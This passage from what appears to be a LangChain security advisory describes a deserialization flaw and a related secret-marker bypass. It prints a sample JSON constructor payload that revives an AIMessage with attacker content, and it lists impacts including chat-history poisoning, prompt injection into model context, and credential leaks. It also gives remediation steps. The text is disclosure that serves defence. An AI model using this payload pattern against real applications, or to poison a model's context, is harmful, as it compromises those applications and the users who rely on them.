Applications that validate incoming requests against a fixed schema, such as coercing user input to a plain string or message-content field before invoking LangChain, are unlikely to expose this deserialization primitive.
This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (_is_lc_secret). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during dumps() -> loads() round-trips and reach LangChain object revival logic.
Impact
An attacker who can submit untrusted structured input to an affected application, and have that structure preserved in LangChain run data, may be able to inject LangChain serialized constructor payloads such as:
``json
{
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "ai", "AIMessage"],
"kwargs": {"content": "attacker-controlled content"}
}
`
If this payload reaches a broad load() call, LangChain may instantiate the referenced class instead of treating the payload as inert user data.
Realistic impacts include:
Persistent chat-history poisoning when revived AIMessage, HumanMessage, or SystemMessage objects are stored by RunnableWithMessageHistory.
Prompt injection or behavior manipulation if attacker-controlled messages are later included in model context.
Instantiation of unexpected trusted LangChain objects with attacker-controlled constructor arguments.
Possible credential disclosure or server-side requests if a reachable object reads environment credentials, creates clients, or contacts attacker-controlled endpoints during initialization.
Additional prompt-template or runnable-configuration impacts in applications that separately load and execute untrusted serialized LangChain objects.
Remediation
LangChain will deprecate the affected APIs as part of this fix:
RunnableWithMessageHistory
astream_log()
astream_events(version="v1")
These are older code paths that are no longer recommended for new applications. They were not previously marked as deprecated, but recent LangChain documentation has primarily directed users toward newer streaming and memory patterns, including the stream API. Applications should migrate to the currently recommended APIs rather than continue depending on these older surfaces.
Separately, LangChain will update load() and loads() to tighten deserialization behavior so broad object revival is not applied implicitly to untrusted or application-controlled payloads. The older runtime surfaces listed above are being deprecated rather than preserved as supported paths for broad runtime deserialization.
This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (_is_lc_secret). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during dumps() -> loads() round-trips and reach LangChain object revival logic.
Guidance for load() and loads()
load() and loads() should be used only with trusted LangChain manifests or serialized objects from trusted storage. Do not pass user-controlled data to load() or loads(), and do not use them as general parsers for request bodies, tool inputs, chat messages, or other attacker-controlled data.
load() and loads() are beta APIs, and their behavior may change as LangChain narrows unsafe defaults. Future LangChain versions will require callers to be explicit about which objects may be revived. Users should pass a narrow allowed_objects value appropriate for the specific trusted manifest they are loading, rather than relying on broad defaults or allowed_objects="all", which permits the full trusted LangChain serialization allowlist.
Credits
The original issue was first reported by @u-ktdi.
Similar findings were reported by @dewankpant, @shrutilohani, @Moaaz-0x, @pucagit.
A related _is_lc_secret marker bypass affecting dumps() -> loads()` round-trips was reported by @yardenporat353 (and a similar report by @localhost-detect)
